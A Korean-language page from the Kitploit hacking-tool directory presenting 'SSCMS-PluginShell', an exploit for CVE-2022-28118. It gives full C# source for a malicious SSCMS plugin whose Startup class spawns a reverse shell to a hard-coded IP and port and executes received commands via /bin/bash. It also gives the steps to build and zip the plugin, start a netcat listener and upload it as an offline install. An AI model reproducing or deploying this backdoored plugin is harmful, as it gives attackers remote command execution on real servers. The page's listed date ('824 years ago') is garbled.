Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SSCMS-PluginShell — CVE-2022-28118 | Kitploit
도구/GitHubGitHub/richard-tang/sscms-pluginshell
ExploitationWeb Application ExploitationPost-ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubrichard-tang/sscms-pluginshell

SSCMS-PluginShell

CVE-2022-28118

저장소 보기
824년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
  1. VisualStudio 설치

  2. 이 프로젝트 가져오기

  3. Startup.cs 파일에서 IPAddress.Parse 값 수정

    root@kitploit:~
    using Microsoft.Extensions.DependencyInjection;
    using SSCMS.Advertisement.Abstractions;
    using SSCMS.Advertisement.Core;
    using SSCMS.Plugins;
    using System.Diagnostics;
    using System;
    using System.Text;
    using System.Net.Sockets;
    using System.Net;
    using System.Threading;
    
    namespace SSCMS.Advertisement
    {
        public class Startup : IPluginConfigureServices
        {
            
          public void ConfigureServices(IServiceCollection services)
          {
             ThreadStart childref = new ThreadStart(reversShell);
             Thread childThread = new Thread(childref);
             childThread.Start();
             services.AddScoped<IAdvertisementRepository, AdvertisementRepository>();
          }
    
    		public void reversShell()
    		{
    			Socket socketshell = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    			IPAddress ip = IPAddress.Parse("172.17.0.1");
    			IPEndPoint point = new IPEndPoint(ip, Convert.ToInt32("8889"));
    			try
    			{
    				socketshell.Connect(point);
    				while (true)
    				{
    					byte[] getdata = new byte[1024 * 5];
    					int n = socketshell.Receive(getdata);
    					string restr = Encoding.Default.GetString(getdata, 0, n);
    					string command = restr;
    					string resultok = willshell(command);
    					byte[] senddata = new byte[1024 * 5];
    					senddata = Encoding.Default.GetBytes(resultok);
    					socketshell.Send(senddata);
    				}
    			}
    			catch
    			{
    				socketshell.Close();
    			}
    		}
    
    		public static string willshell(object command)
    		{
    			Process process = new Process();
    			process.StartInfo.FileName = "/bin/bash";
    			process.StartInfo.UseShellExecute = false;
    			process.StartInfo.RedirectStandardError = true;
    			process.StartInfo.RedirectStandardInput = true;
    			process.StartInfo.RedirectStandardOutput = true;
    			process.StartInfo.CreateNoWindow = true;
    			process.Start();
    			process.StandardInput.WriteLine("echo off");
    			process.StandardInput.WriteLine(command);
    			process.StandardInput.WriteLine("exit");
    			string result = process.StandardOutput.ReadToEnd();
    			return result;
    		}
    	}
    }
    
  4. 프로젝트 빌드

  5. 컴파일된 출력 디렉터리를 Zip 패키지로 압축

  6. 서버에서 리슨 시작

    root@kitploit:~
    nc -lvvp 8889
    
  7. 시스템에 오프라인 설치 업로드

도구 다운로드